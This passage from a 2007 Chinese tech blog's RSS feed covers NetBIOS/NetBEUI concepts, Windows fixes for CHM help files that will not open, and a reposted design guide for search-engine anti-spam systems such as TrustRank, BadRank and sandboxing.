Receive_Datagram也返回发送者的名称。如果NetBIOS收到数据，但却没有Receive_Datagram 命令在 <br />
<br />
等待，数据将被丢弃。 <br />
<br />
<br />
<br />
Send_Broadcast_Datagram 命令发送信息给本地网上每个NetBIOS系统。当NetBIOS节点收到广播数据， <br />
<br />
发布Receive_Broadcast_Datagram 命令的每个进程都收到数据。如果当广播数据被收到时，没有这些 <br />
<br />
命令在运行，数据将被丢弃。 <br />
<br />
<br />
<br />
NetBIOS使应用程序能和另一个设备建立会话，使网络转发器和处理协议处理收到、发送到另一台机器的 <br />
<br />
请求。NetBIOS实际上不操作数据。NetBIOS定义规定了用来到达这些服务的协议的网络接口，而非协议 <br />
<br />
本身。历史上，NetBIOS曾与叫做NetBEUI的协议（网络扩展用户接口）捆绑。接口和协议的结合有时引 <br />
<br />
起混淆，但它们是不同的。 <br />
<br />
<br />
<br />
网络协议为定位、连接到网络上特定的服务提供至少一种方法。这通常由将节点和服务名转化为网络地址 <br />
<br />
（名称解析）完成。在连接用TCP/IP建立前，NetBIOS服务名必须解析成IP地址。大多数NetBIOS的TCP/IP <br />
<br />
实现，用广播或LMHOSTS文件完成名称地址的解析。在Microsoft环境中，你最可能使用叫做WINS的NetBIOS <br />
<br />
名称服务器。 <br />
<br />
<br />
<br />
<br />
<br />
[1.0.5] NetBEUI 解释 <br />
<br />
<br />
<br />
NetBEUI是网络操作系统使用的NetBIOS协议的加强版本。它规范了在NetBIOS 中未标准化的传输帧，还加 <br />
<br />
了额外的功能。传输层驱动器经常被Microsofts LAN Manager（微软局域网操作器）使用。NetBEUI执行 <br />
<br />
OSI LLC2 协议。NetBEUI是原始的PC网络协议和IBM为LanManger（局域网操作器）服务器设计的接口。本协 <br />
<br />
议稍后被微软采用作为它们的网络产品的标准。它规定了高层软件通过NetBIOS帧协议发送、接收信息的 <br />
<br />
方法。本协议运行在标准802.2数据链协议层上。 <br />
<br />
<br />
<br />
<br />
<br />
[1.0.6] NetBIOS 范围 <br />
<br />
<br />
<br />
NetBIOS范围ID为建立在TCP/IP（叫做NBT）模块上的NetBIOS提供额外的命名服务。NetBIOS范围ID的主要 <br />
<br />
目的是隔离单个网络上的NetBIOS通信和那些有相同NetBIOS范围ID的节点。NetBIOS范围ID是附加在NetBIOS <br />
<br />
名称上的字符串。两个主机上的NetBIOS范围ID必须匹配，否则两主机无法通信。NetBIOS范围ID允许 <br />
<br />
计算机使用相同的计算机名，不同的范围ID。范围ID是NetBIOS名称的一部分，使名称唯一。</div>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/150676.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-10-06 11:42 <a href="http://www.blogjava.net/WshmAndLily/articles/150676.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>无法打开chm文件</title><link>http://www.blogjava.net/WshmAndLily/articles/150670.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 06 Oct 2007 02:57:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/150670.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/150670.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/150670.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/150670.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/150670.html</trackback:ping><description><![CDATA[最近经常听到朋友说无法打开chm文件，自己也经常遇到，网上搜索后把方法总结：<br />
一.如果不能打开，可这样恢复文件关联：<br />
1、开始运行，输入：regsvr32 C:\windows\system32\hhctrl.ocx ，确定，重新关联文件。<br />
2、执行一下windows目录里的hh.exe 。<br />
有时候chm文件放在中文目录就不行。包括中文chm名字。试着把文件考出来.中文名字一改.<br />
<br />
二.1.在微软网站上下载hhupd.exe,安装hh.exe后并运行。 <br />
2.实际上,下载hhupd.exe后,运行后就可以了。这个东西大小为461kb 3.在c:\windows\system32里找到&#8220;Hhctrl.ocx&#8221;文件,然后运行:&#8220;regsvr32&#8220;c:\windows\system32\hhctrl.ocx...<br />
网上的解决方法不可行，下载不了hhupd.exe.我直接执行regsvr32 c:\windows\system32\hhctrl.ocx就ok了。<br />
<br />
解决方法2是：<br />
1，右键关联chm文件的&#8220;打开方式&#8221;到\Windows\HH.exe<br />
2，在命令行运行regsvr32 itss.dll<br />
3，在命令行运行regsvr32 hhctrl.ocx<br />
<br />
三.也许是 HH.EXE 所必需的某个组件出了问题。但是不知道 HH.EXE 会用到些什么组件，所以上网查了一下，有人建议重新注册 hhctrl.ocx。我在系统目录下找到了 hhctrl.ocx，重新注册一下 hhctrl.ocx 试试：regsvr32 hhctrl.ocx。依然不能正常阅读 CHM。<br />
<br />
既然如此，很有可能是协议出了问题。HH.EXE 用的是 ms-its 等协议，这些协议应该是由某个 DLL 文件提供服务的。问题是，是什么 DLL 呢？于是再用 Google 搜索 ms-its 协议。终于找到了，原来是一个 itss.dll 在做服务。不过网上查到的解决方案是修改注册表。<br />
<br />
要修改 ItssRestrictions 注册表项以启用特定的安全区域，请按照下列步骤操作：<br />
1. 单击&#8220;开始&#8221;，单击&#8220;运行&#8221;，键入 regedit，然后单击&#8220;确定&#8221;。<br />
2. 找到并单击下面的子项：<br />
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\HTMLHelp\1.x\ItssRestrictions<br />
注意：如果该注册表子项不存在，则使用方法 1 中的步骤 2a 和 2b 创建该子项。<br />
3. 右键单击&#8220;ItssRestrictions&#8221;子项，指向&#8220;新建&#8221;，然后单击&#8220;DWORD 值&#8221;。<br />
4. 键入 MaxAllowedZone，然后按 Enter 键。<br />
5. 右键单击&#8220;MaxAllowedZone&#8221;值，然后单击&#8220;修改&#8221;。<br />
6. 在&#8220;数值数据&#8221;框中，键入 0 至 4 之间的一个数字，然后单击&#8220;确定&#8221;。<br />
7. 退出注册表编辑器。<br />
注意：默认情况下，&#8220;MaxAllowedZone&#8221;值设置为 0。下表摘要列出了&#8220;MaxAllowedZone&#8221;值对各个项的解释。 MaxAllowedZone 本地计算机区域 本地 Intranet 区域 受信任的站点区域 Internet 区域 受限站点区域<br />
0 允许 阻止 阻止 阻止 阻止<br />
1 允许 允许 阻止 阻止 阻止<br />
2 允许 允许 允许 阻止 阻止<br />
3 允许 允许 允许 允许 阻止<br />
4 允许 允许 允许 允许 允许<br />
<br />
注册表修改之后还是不能打开！<br />
试试偷懒的办法吧——重新注册DLL：regsvr32 itss.dll。<br />
<br />
四.操作系统的语言不是中文（经常出现这种情况）<br />
1.看看你的 OS 是不是中文的 OS ？ 如果你的 OS 不是 中文的，那么到 Control Pane 中看看那个&#8220;语言和区域&#8221; 的option， 打开看看&#8220;区域选项&#8221; 是不是中国，这个选项对一些软件还是有一些影像的。<br />
2.如果你的CHM文件是中文的，可能存在缺省语言设置问题。可能你用是的英文版的WINDOWS，把RAGIONAL AND LANGUAGE OPTIONS中的LANGUAGE 和ADVANCED 中的 语言和国家选项都设置成中文（PRC）。就可以了<br />
<br />
五.可以试试改变此文件的名字.比如去掉多余的符号<br />
<br />
六.如果都不能，最后一招就是，把电子书CHM格式转换为PDF文件：<br />
CHM Converter是一个专门转换CHM格式的文件，它可以把CHM文件转换成PDF、TXT、DOC等常用的格式。<br />
<br />
<br />
下载后运行软件，软件默认是英文界面，点击菜单&#8220;Tools-Language&#8221;，在弹出的对话框中选择&#8220;Chinese_Simplified&#8221;就可以换成中文了，软件还支持其他很多语言。<br />
<br />
选好语言后点击左上角的&#8220;打开&#8221;按钮来选择要转换的CHM文件，如果CHM文件是英文版的，那么在旁边的下拉菜单中就选择 &#8220;DEFAILT_CHARSET&#8221;，如果是中文的，那需要在下拉菜单中选择&#8220;GB2312_CHARSET&#8221;，否则会产生乱码，然后在右面的&#8220;导出&#8221;中来选择要转换的文件类型，软件支持很多格式的文件，如这里选择&#8220;Word97-2003&#8221;，最后点击&#8220;另存数据库为&#8221;按钮，选择保存的文件夹后就开始进行转换了。<br />
<br />
PS: Window2K中不能打开*.chm文件的解决办法<br />
这个问题的发生，是由于hhctrl.ocx的版本号出现错误或未正确注册。原因在于安装的其他软件用hhctrl.ocx的旧版本替换了原来的版本。<br />
IE6SP1中，这个文件的版本号应为5.2.3735.0。可以看看你的系统这个文件的版本号。<br />
位于winnt/system32这个文件夹。大小504K（英文版本）从其他相同的系统（IE版本也相同）中COPY一份<br />
粘贴到你的系统相应文件夹中。然后注册一下。<br />
<br />
注意：<br />
1、先替换winnt/system32/dllcache文件夹的这个文件<br />
后替换winnt/system32文件夹里的这个文件<br />
2、如果看不到这个文件，<br />
先工具--文件夹选项中，设置显示隐藏文件<br />
并设置显示系统文件<br />
3、注册的方法是<br />
开始--运行，输入regsvr32 hhctrl.ocx<br />
之后出来一个注册成功的对话框，确定然后重启系统。
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/150670.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-10-06 10:57 <a href="http://www.blogjava.net/WshmAndLily/articles/150670.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>搜索引擎antispam系统设计指南[转]</title><link>http://www.blogjava.net/WshmAndLily/articles/106433.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Mon, 26 Mar 2007 08:09:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/106433.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/106433.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/106433.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/106433.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/106433.html</trackback:ping><description><![CDATA[
		<p>一. 设计原则与整体体系结构 </p>
		<br />
		<p>1.1 设计原则 </p>
		<br />
		<p>搜索引擎ANTI-SPAM作为一个新型的技术领域,目前逐渐引起学术届和搜索引擎市场的逐步重视.通过大量资料分析,我认为一个好的实用ANTI-SPAM系统应该遵循以下两个设计原则: </p>
		<br />
		<p>原则1.实用的搜索引擎ANTI-SPAM系统应该允许核心算法公布,并且在核心算法公布之后不会导致现有ANTI-SPAM系统的失效. </p>
		<br />
		<p>原则2.实用的搜索引擎ANTI-SPAM系统应该结合技术和非技术的手段形成一个综合防治系统.两者交互影响形成有效的互相促进作用. </p>
		<br />
		<p>其中原则1是为了避免提供搜索引擎服务的公司陷入以下疲于奔命的状态:核心算法被泄漏,SPAMER找到应付对策,搜索引擎服务公司更换核心算法,核心算法被泄漏….. </p>
		<br />
		<p>而原则2则是尽可能采取各种可能的手段更全面准确的判别作弊网页. </p>
		<br />
		<p>1.2 体系结构 </p>
		<br />
		<p>现有的ANTI-SPAM措施可以划分为以下5个类别: </p>
		<br />
		<p>类别1:针对某种具体的作弊方式形成的ANTI-SPAM技术,比如识别LINK FARM的算法,识别内容作弊的算法等.这些方法的特点是技术细节不可公开性以及由此导致的存在寿命短暂性.因为这些技术细节一旦公布,作弊者会考虑相应的反制策略导致算法失效,这样会导致新的作弊方式,而搜索引擎公司不得不研究新的ANTI-SPAM技术.所以根据设计原则1,这样的算法不能是ANTI-SPAM系统的主体框架,只能是一种辅助措施. </p>
		<br />
		<p>类别2:通用的ANTI-SPAM技术.比如HILLTOP算法,TRUSTRANK算法等.这些方法的特点是技术细节可公开性以及由此导致的长期有效性.即使这些技术细节公布,作弊者也无能为力.所以根据设计原则1,这样的算法应该成为系统的主体框架. </p>
		<br />
		<p>类别3:类BADRANK方法.这类方法和类别2的算法是完全互补的两类算法.通用的ANTI-SPAM算法的出发点是寻找网页集合的子集,这些子集一定不是SPAM网页,其它网页根据与这个精英页面集合的关系来判断是否不是SPAM页面,而类BADRANK方法则从必定是SPAM页面的网页子集出发(可以看作是黑名单),从其它网页和这些黑名单页面的关系判断是否是SPAM页面. </p>
		<br />
		<p>类别4:人工举报.这种方法是切实可行的对BADRANK方法的补充手段.通过这种方式不断扩大黑名单的数量. </p>
		<br />
		<p>类别5:类SANDBOX方法.这种方法主要针对SEO市场,造成对于SEO市场的打压,以此避免大规模的作弊出现,因为目前主要的作弊者还是SEO市场造成的. </p>
		<br />
		<p>目前几乎所有的ANTI-SPAM技术可以归于以上5类技术之一,其中类别123是属于技术手段,而类别4和类别5属于非技术手段.通过两者结合来进行有效的ANTI-SPAM系统构造. </p>
		<br />
		<p>一个实用的ANTI-SPAM系统整体结构可以参考图1,图1将这5中技术手段有机的结合来构造综合的治理手段.可以看出系统技术手段围绕着两个核心互联网页面子集:SPAM POOL和NON-SPAM POOL.SPAM POOL代表了确认为是作弊页面的集合,而NON-SPAM POOL代表了确认不是作弊页面的集合.系统流程如下: </p>
		<br />
		<p>1. SPAM POOL可以通过以下三个手段构造:一个是通过人工举报形成黑名单,一个是通过针对具体某种作弊方式采取的ANTI-SPAM技术来获得部分类型的作弊页面并加入SPAM POOL中;另外一种方式是通过类BADRANK方式通过叠代计算来扩充黑名单的规模;这个过程可能需要进行人工确认过程以防治误判. </p>
		<br />
		<p>2. NON-SPAM POOL可以通过通用的ANTI-SPAM技术获得. </p>
		<br />
		<p>3. 类SANDBOX等非技术手段来打击SEO市场. </p>
		<br />
		<p>4. 可以看出系统中的核心技术手段是通用ANTI-SPAM方法以及类BADRANK方法,两者是互补的技术手段,处于系统的核心,人工举报和针对某种作弊方式的ANTI-SPAM技术作为类BADRANK技术的辅助手段发挥作用,而SANDBOX则作为主要的非技术手段发挥作用.通过5种手段相互结合构造实用的ANTI-SPAM系统.可以看出这个系统模型是符合ANTI-SPAM系统设计原则的. </p>
		<br />
		<p> </p>
		<br />
		<p> </p>
		<br />
		<p>图1. 搜索引擎anti-spam技术路线图 </p>
		<br />
		<p>二. 组成部分详述 </p>
		<br />
		<p>下面分别叙述构成ANTI-SPAM系统的5个部分的技术细节. </p>
		<br />
		<p>2.1通用的anti-spam方法 </p>
		<br />
		<p>通用的ANTI-SPAM方法作为系统最重要的框架核心,目前的几种算法基本思想大同小异,其基本目的是确定所有互联网页面中哪些肯定不是SPAM页面.其基本思路都是如下考虑: </p>
		<br />
		<p>1. 首先从所有互联网页面中通过一定的技术手段找到部分精英页面子集. </p>
		<br />
		<p>2. 然后根据其它页面和精英页面子集的链接关系来确定哪些页面不是SPAM页面. </p>
		<br />
		<p>以下列出的三种主流方法基本思路如上所述,其区别无非在于判断精英页面的标准不同以及根据链接关系确定其它页面是否SPAM的技术细节不同. </p>
		<br />
		<p> </p>
		<br />
		<p>2.1.1HILLTOP算法 </p>
		<br />
		<p>HILLTOP是<a style="COLOR: #0000ff; TEXT-DECORATION: none" href="http://www.fullsearcher.com/" target="_blank">检索</a>模型本身出发,结合了相关排序以及anti-spam策略为一体的算法,已经被GOOGLE所采用.其基本假设和出发点是:网络中的权威页面和权威站点(EXPERT)所指向的页面一般来说不会是spam页面,而且被权威页面指向的页面排序应该提高. </p>
		<br />
		<p>所以其算法分解为以下两个步骤: </p>
		<br />
		<p>1. 如何从大量网页信息中识别权威页面; </p>
		<br />
		<p>首先识别Non-affiliated page,所谓Non-affiliated就是页面归属于不同组织的页面,因为基本假设是归属于同一组织的网站页面之间的链接其公信力是不高的. </p>
		<br />
		<p>然后寻找链接出度比较高的页面,如果这些页面所指向的页面都是Non-affiliated页面,那么这些页面可以作为权威页面. </p>
		<br />
		<p>权威页面单独进行索引,对于用户查询,首先在这个索引里面寻找,然后根据其它页面和权威页面的关系进行排序. </p>
		<br />
		<p> </p>
		<br />
		<p>2. 根据选择的权威页面如何对其指向的页面排序进行评价; </p>
		<br />
		<p>如果是越多的权威页面指向的页面其权重越高. </p>
		<br />
		<p>2.1.2 TrusteRank方法 </p>
		<br />
		<p>TrustRank方法的基本思路和HILLTOP算法类似,也是首先识别部分不可能是作弊网页的站点,然后根据类似的假设来从中推导出好的非anti-spam页面.已经被AltaVista(YAHOO)搜索引擎采用. </p>
		<br />
		<p>1. 从所有站点随机选择若干站点.比如随机选择2000个站点.(也可以有其它类似的优化策略,比如选择知名度高的网站或者YAHOO等收录的网站作为优良网站的基点) </p>
		<br />
		<p>2. 从2000个站点里面人工判断哪些是优良的网站 </p>
		<br />
		<p>3. 链接分析.基本假设是优良网站指向的网站也是优良的.此时可以采取不同的策略,比如优良网站经过K个链接所指向的都认为是优良的.也可以引入衰减因素,离初始优良网站越远的网站其优良性越小. </p>
		<br />
		<p>4. 对遍历过的网站优良性能做评价.此评价作为判断是否作弊网页的依据. </p>
		<br />
		<p> </p>
		<br />
		<p> </p>
		<br />
		<p>2.1.3 SpamRank方法 </p>
		<br />
		<p>SpamRank的基本思路与前面两个技术基本一致.它的基本假设是:对于非作弊网页来说,指向其的链接页面一般来说PAGERANK值是不均匀分布的,而对于作弊网页来说指向其的支持网页的PAGERANK值一般来说都是比较小的值. </p>
		<br />
		<p>1. 首先计算页面的支持页面的权重 </p>
		<br />
		<p>2. 判断支持页面权重是否满足Power low 分布(这个分布是互联网的一个比较准确的估计)对于不满足该分布的页面判断为作弊网页进行惩罚,降低其PAGERANK值. </p>
		<br />
		<p>2.2 类BADRANK方法 </p>
		<br />
		<p>类BADRANK方法是通用ANTI-SPAM方法的有效补充. 它的目的是发现哪些网页肯定是SPAM页面. BadRank的技术思路如下: </p>
		<br />
		<p>1. 首先维持一个SPAM网页黑名单,这个黑名单可以通过用户举报或者采取一定的技术来获得,GOOGLE提供了举报SPAM页面,所以采用BadRank的方法可能性是很高的. </p>
		<br />
		<p>2. 给定黑名单的网页非常高的BadRank值E(x); </p>
		<br />
		<p>3. 考虑其它网页的BadRank值,打分依据是如果网页含有指向黑名单的链接,那么这个网页的BadRank值会很高,依次类推来获得其它页面的BadRank值.其打分公式如下: </p>
		<br />
		<p>
				<br />可以看出,其基本原理和PAGERANK是差不多的,区别在于BADRANK是倒着打分的,从已知的网页向未知的网页传播. </p>
		<br />
		<p> </p>
		<br />
		<p>2. 3具体针对某种作弊方式采取的anti-spam方法 </p>
		<br />
		<p>针对具体某种作弊方式的ANTI-SPAM方法可以作为辅助BADRANK构造SPAM POOL的辅助技术手段,这些技术花样繁多,基本没有一个统一的解决方案,目前常见的方法如下. </p>
		<br />
		<p>2.3.1 针对blog站点的honey pot类型的作弊 </p>
		<br />
		<p>Honey pot作弊方式是作弊网页作者发布有价值信息比如介绍某项技术的技术文章,但是在发布的信息里面隐含指向作弊页面的隐藏链接,这样通过网页本身内容的价值来诱导其它网站增加指向该页面的链接从而间接增加作弊页面的排名.比如往blog站点,BBS站点,留言簿或者wiki等可以任意发言的站点增加评论.在发表的评论里面增加指向目标页面的链接,这样会间接增加目标页面的pagerank排名.根据发表评论类型可以分为以下两种:一种是直接发广告性质的与主题无关评论,这个我们经常在BBS或者留言版上看到.一种是评论与主题相关,但是在评论中隐藏无法看到的链接信息.这种情况一般比较难以发现. </p>
		<br />
		<p>利用语言模型方法判断链接所指向的页面是否作弊站点.首先通过评论的内容以及评论中链接指向页面内容构建每个评论的语言模型,然后依次和正文的语言模型进行比较,将差异比较大的看作是可能的作弊站点. </p>
		<br />
		<p>2.3.2针对内容作弊 </p>
		<br />
		<p>l 比如针对标题作弊,如果发现正文内容出现标题文字比例失调,比例太高或者没有出现过,则认为可能是作弊网页. </p>
		<br />
		<p>l 而对于HTML页面的keyword内作弊词汇,很多搜索引擎采取不索引keyword域的方法. </p>
		<br />
		<p>2.3.3针对信息隐藏作弊 </p>
		<br />
		<p>l 如果发现页面内部大量文本采用和背景相同的颜色设置,则判断为作弊页面. </p>
		<br />
		<p>l 对于链接跳转的页面进行惩罚,以防治通过页面自动重定向来隐藏作弊页面. </p>
		<br />
		<p>2.3.4针对多个域名DNS解析到同一IP地址. </p>
		<br />
		<p>作弊者通过建立若干不同的域名但是是同一IP地址来构建LINK FARM提高目标页面排名,并欺骗搜索引擎这些链接页面分属于不同拥有者.对于这种情况可以进行DNS解析分析, 大量不同域名映射到同一IP地址很有可能是作弊网站. </p>
		<br />
		<p> </p>
		<br />
		<p>2.3.5针对机器自动生成link farm </p>
		<br />
		<p>对于机器自动生成的作弊页面进行特征分析和自动发现.比如机器生成的链接往往很长,包含很多数字和连接符号等.如果发现一个页面的大量链接有以上特征则判断为作弊页面. </p>
		<br />
		<p>2.3.6针对作弊网页的不正常数量联入链接(文章:Spam, Damn Spam, and Statistics) </p>
		<br />
		<p>发现网页的入度,根据分布规律,极少数的网页有非常大量的联入,所以这些大量联入页面如果不是知名网站则很可能是作弊网站 </p>
		<br />
		<p>2.3.7针对如何识别link spam </p>
		<br />
		<p>这个识别link farm spam方法的基本观察是:很多link farm spam的页面互相通过链接紧密联系,在farm里面往往存在以下特征页面:页面同时有进入和外出链接指向link farm其它页面.所以该方法首先通过一定方法从整个文档集合中确定一些种子页面,再通过其链接特征递归的发现满足作弊链接特征的页面直到link farm无法继续扩张.此时对于这些页面进行惩罚性措施.. </p>
		<br />
		<p>2.3. 8程序自动生成页面 </p>
		<br />
		<p>页面内容通过随机从其它网站页面抽取拼合而成,而链接指向黄色网站.其解决办法是判别网页更新速度,这类作弊方式往往有过分快的更新速度,以此作为判别的某个根据. </p>
		<br />
		<p>2.3.9 TrackBack spam </p>
		<br />
		<p>定义:作弊者增加指向某个知名blog的trackback链接但是在页面部分没有任何标记. </p>
		<br />
		<p>解决方案:目前还没有很好的方法. </p>
		<br />
		<p>2.3.10. tag spam </p>
		<br />
		<p>在社会软件比如yahoo的myweb2.0或者flickr中流行的作弊方式,作弊方式类似于传统的KEYWORDS作弊方式,在用户定义某个条目的时候,允许自己增加若干TAG来对条目进行说明,而作弊者通过在TAG中增加很多作弊词汇来增加排名达到作弊目的. </p>
		<br />
		<p>解决方案:目前还没有很好的方法. </p>
		<br />
		<p>2.3.11 fake weblogs </p>
		<br />
		<p>定义:两种方式 </p>
		<br />
		<p>方式1. steals content from other sites </p>
		<br />
		<p>作弊者建立blog,拷贝排名比较高的blog内容,这样能够尽快提高自己blog排名,然后在评论里面增加指向目标页面的链接或者做广告. </p>
		<br />
		<p>方式2. Porn sites hiding behind blogs </p>
		<br />
		<p>自动建立若干blog站点,但是用户点击会自动转向目标站点.类似于URL跳转方式. </p>
		<br />
		<p> </p>
		<br />
		<p>2.4.人工举报 </p>
		<br />
		<p>目前GOOGLE采用了人工举报的方法,其页面如下: </p>
		<br />
		<p>
				<a href="http://www.google.com/contact/spamreport.html">
						<font color="#800080">http://www.google.com/contact/spamreport.html</font>
				</a>
		</p>
		<br />
		<p>Type(s) of problem (check all that apply): <br />Hidden text or links <br />Misleading or repeated words <br />Page does not match Google"s description <br />Cloaked page <br />Deceptive redirects <br />Doorway pages <br />Duplicate site or pages <br />Other (specify) </p>
		<br />
		<p> </p>
		<br />
		<p>可以看出,GOOGLE目前所研究的anti-spam应该集中在以上几种spam,这也从某个角度说明以上几种是最常用的spam方式. </p>
		<br />
		<p>2.5 SANDBOX方法 </p>
		<br />
		<p>长期以来，人们注意到一个现象，当新网站刚被 Google 收录时，在用关键词搜索时，往往会有相当好的排名。一般认为 Google给予新网站一些照顾，使它们有一个快乐辉煌的开端。然而好景不长，不久，新网站的排名就逐渐下降。很快地，竟可能在搜索时完全消失了。 </p>
		<br />
		<p> </p>
		<br />
		<p>人们把这个现象称之为沙箱效应，认为是具有普遍性的现象，是 Google在搜索算法里设置的一个阻尼过滤器，适用于所有的新网站。当新网站上网一段时间，不论网页评级高低内容多寡结构优劣有无链接，都会被过滤。短则九十天，多则四五个月，在搜索结果里即使还有排名，也多半放在最后。长期以来，这种现象使人大惑不解。因为绝大多数网站是没有作弊的，没有理由被处罚。另外，沙箱效应只限于Google，其它搜索引擎没有类似现象。 </p>
		<br />
		<p> </p>
		<br />
		<p>沙箱现象可能是 Google 和层出不穷的作弊手段斗争的一种策略。面对防不胜防的诡计，Google 将新网站屏蔽一段时间，心里有鬼的优化商无法判断是否被处罚，会修改网页。对于诚实的网站，这可能是一个好机会，去认真检查优化手段，建立健康链接，充实网页的内容。 </p>
		<br />
		<p>SANDBOX:不能有效的识别哪些是作弊或者不作弊页面(其实就没有试图去识别,这不是SANDBOX的目的),但是可以通过这种行为有效的打压SEO市场.因为SEO市场是导致作弊盛行的主要因素.因为有作弊意图而且亲自去作弊的人数还是少数,绝大多数还是有意图没办法,通过SEO来进行的,通过非技术手段打压SEO信用是另外一个治理作弊问题的有效手段, </p>
		<br />
		<p> </p>
		<br />
		<p>三. 实施步骤 </p>
		<br />
		<p>具体实施一个实用并且好用的WEB ANTI-SPAM措施可以采取逐步实施的三步策略,通过初步实施策略构建初步实用的ANTI-SPAM系统,进一步的实施措施用来对于初步实施的系统进行进一步的完善,而第三步则是根据该研究领域的发展趋势进行深入的科研以获得比现有技术更好的ANTI-SPAM手段. </p>
		<br />
		<p> </p>
		<br />
		<p>3.1初步实施措施 </p>
		<br />
		<p>初步实施措施可以根据图1,首先实现以下几个部分: </p>
		<br />
		<p>1. TRUSTRANK算法(或者HILLTOP) </p>
		<br />
		<p>2. BADRANK算法 </p>
		<br />
		<p>3. SANDBOX算法 </p>
		<br />
		<p>4. 人工举报界面 </p>
		<br />
		<p>5. 最常见的某种具体SPAM反制措施 </p>
		<br />
		<p>可以看出,无论是HILLTOP或者是TrustRank抑或BADRANK,这种方法并没有利用作弊者的特征值来进行判断,而是通过通用的方法来进行处理:首先识别优良页面集合或者不良页面集合,然后通过链接分析来计算这种传播关系.这种方法因为不利用特征分析,所以具有具体方法无关性,也就是说即使公布这个方法,作弊者一般也没有办法采取反治措施. </p>
		<br />
		<p>而另外一类方法是特征相关的,比如分析某类SPAM有哪些内容特征或者页面结构特征,利用页面是否满足这些特征来进行识别,这样的方法是对于某些类型作弊有效的,不具有通用性,另外存在的问题是公布方法后可能这个算法就失效了,因为作弊者会采取另外的方法避免作弊页面出现这些特征. </p>
		<br />
		<p>两者的关系如下:特征分析的方法可以作为BADRANK的补充和初始集合的获取手段,利用这些方法找到一些作弊网页作为BADRANK的初始种子然后逐步扩大查找范围. </p>
		<br />
		<p>所以在设计搜索引擎ANTI-SPAM方法时候应该采取如下措施: </p>
		<br />
		<p>整体框架采用TRUSTRANK+BADRANK+SANDBOX </p>
		<br />
		<p>TRUSTRANK:识别哪些页面肯定不是作弊页面; </p>
		<br />
		<p>BADRANK:识别哪些页面肯定是作弊页面; </p>
		<br />
		<p>SANDBOX:不能有效的识别哪些是作弊或者不作弊页面,但是可以通过这种行为有效的打压SEO市场. </p>
		<br />
		<p>人工举报和具体ANTI-SPAM方法:帮助建立更加全面的SPAM POOL资源. </p>
		<br />
		<p> </p>
		<br />
		<p>3.2.进一步实施措施 </p>
		<br />
		<p>进一步的实施措施集中在如下几个方面: </p>
		<br />
		<p>1. 具体ANTI-SPAM方法全面实施,将目前常见的以及不常见的ANTI-SPAM方法逐步实施,这样BADRANK可以发挥更大的作用. </p>
		<br />
		<p>2. 通用ANTI-SPAM方法的改进.通用方法可以在以下两个方面进行改进:一个是如何判断精英页面,改进的方向是更加自动化减少手工劳动,更加精确化,避免作弊者寻找漏洞.另外一个改进方向是页面传播关系的研究,探讨更好的页面传播关系来更加有效地确定哪些是SPAM哪些不是SPAM页面. </p>
		<br />
		<p>3. SANDBOX的改进方法.目前SANDBOX由于原理泄漏,有可能SEO会想相应的策略避免惩罚,采取二次SANDBOX或者其它改进办法,核心是增加排名的不确定性,避免SEO能够给用户确定的承诺(比如半年内排到前几名),以此来打击SEO市场. </p>
		<br />
		<p>4. 在人工举报方面.改进思路是如何吸引举报者来尽可能多地进行举报,可以通过奖励措施比如如果举报有效可以部分提高举报者的网站排名等奖励措施来增加举报者的积极性. </p>
		<br />
		<p> </p>
		<br />
		<p>3.3 深层研究方向 </p>
		<br />
		<p>深层研究方向可以在以上介绍的5个方面全面实施,寻找更加优秀的替代算法,通过科研投入达到优秀的ANTI-SPAM效果. </p>
		<br />
		<p>从目前学术界状况来看，在未来地最近几年内，在通用ANTI-SPAM方面很难出现全新的理论框架，如果这方面有成果的话，应该是提出类似思路的方法或者对于现有方法细节的补充，今后大量的研究工作会集中在具体的ANTI-SPAM方法方面，尤其是随着新种类的SPAM方式不断出现，如何对于新类型SPAM进行发现和防治将是学术界的主流，但是这样很难从根本上解决问题。 </p>
		<br />
		<p> </p>
		<br />
		<p>四. 结论 </p>
		<br />
		<p>搜索引擎ANTI-SPAM是目前比较迫切需要解决的问题,本文通过如何构造一个有效的ANTI-SPAM系统这一主题在设计原则,系统整体结构,每个技术的实施细节以及实施步骤等方面进行了探讨,希望能够成为有效设计优秀ANTI-SPAM系统的技术指南和路线规划说明. </p>
		<br />
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/106433.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-03-26 16:09 <a href="http://www.blogjava.net/WshmAndLily/articles/106433.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>GPRS应用中TCP/IP/PPP的基本概念</title><link>http://www.blogjava.net/WshmAndLily/articles/106233.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sun, 25 Mar 2007 08:14:00 